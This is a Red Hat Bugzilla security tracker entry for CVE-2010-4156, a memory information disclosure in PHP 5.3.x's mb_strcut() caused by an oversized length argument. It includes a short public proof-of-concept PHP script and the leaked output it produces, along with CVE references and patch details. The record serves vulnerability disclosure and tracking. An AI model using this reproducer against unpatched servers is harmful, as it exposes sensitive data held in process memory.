Bug 651682 (CVE-2010-4156)
| Summary: | CVE-2010-4156 php information disclosure via mb_strcut() | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | Huzaifa S. Sidhpurwala <huzaifas> |
| Component: | vulnerability | Assignee: | Red Hat Product Security <security-response-team> |
| Status: | CLOSED ERRATA | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | unspecified | CC: | fedora, jorton, rpm, vdanen |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2011-02-04 09:11:38 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 649186, 670439, 670463, 670464 | ||
| Bug Blocks: | |||
|
Description
Huzaifa S. Sidhpurwala
2010-11-10 04:51:48 UTC
Public PoC:
Test script:
---------------
<?php
$b = "bbbbbbbbbbb";
str_repeat("THIS IS A SECRET MESSAGE, ISN'T IT?", 1);
$var3 = mb_strcut($b, 0, 1000);
echo $var3;
?>
Expected result:
----------------
bbbbbbbbbbb
Actual result:
--------------
bbbbbbbbbbb??????D$Ј=m???=m?(?=m?`?=m??5<m??=m?THIS IS A SECRET MESSAGE, ISN'T
IT??g?1@?=m?(?=m???=m?p?=m?var3
Created php tracking bugs for this issue Affects: fedora-all [bug 649186] Common Vulnerabilities and Exposures assigned an identifier CVE-2010-4156 to the following vulnerability: Name: CVE-2010-4156 URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4156 Assigned: 20101104 Reference: MLIST:[oss-security] 20101107 CVE Request: PHP 5.3.3, libmbfl, mb_strcut Reference: URL: http://www.openwall.com/lists/oss-security/2010/11/07/2 Reference: MLIST:[oss-security] 20101108 Re: CVE Request: PHP 5.3.3, libmbfl, mb_strcut Reference: URL: http://www.openwall.com/lists/oss-security/2010/11/08/13 Reference: MISC: http://pastie.org/1279428 Reference: MISC: http://pastie.org/1279682 Reference: BID:44727 Reference: URL: http://www.securityfocus.com/bid/44727 Reference: SECUNIA:42135 Reference: URL: http://secunia.com/advisories/42135 The mb_strcut function in Libmbfl 1.1.0, as used in PHP 5.3.x through 5.3.3, allows context-dependent attackers to obtain potentially sensitive information via a large value of the third parameter (aka the length parameter). It seems this issue got introduced in the update of bundled libmbfl that happened between 5.3.2 and 5.3.3: http://svn.php.net/viewvc?view=revision&revision=296101 This issue has been addressed in following products: Red Hat Enterprise Linux 5 Via RHSA-2011:0196 https://rhn.redhat.com/errata/RHSA-2011-0196.html Statement: This issue did not affect the version of php packages as shipped with Red Hat Enterprise Linux 4, 5 or 6. It did affect the PHP 5.3 (php53) package on Red Hat Enterprise Linux 5. |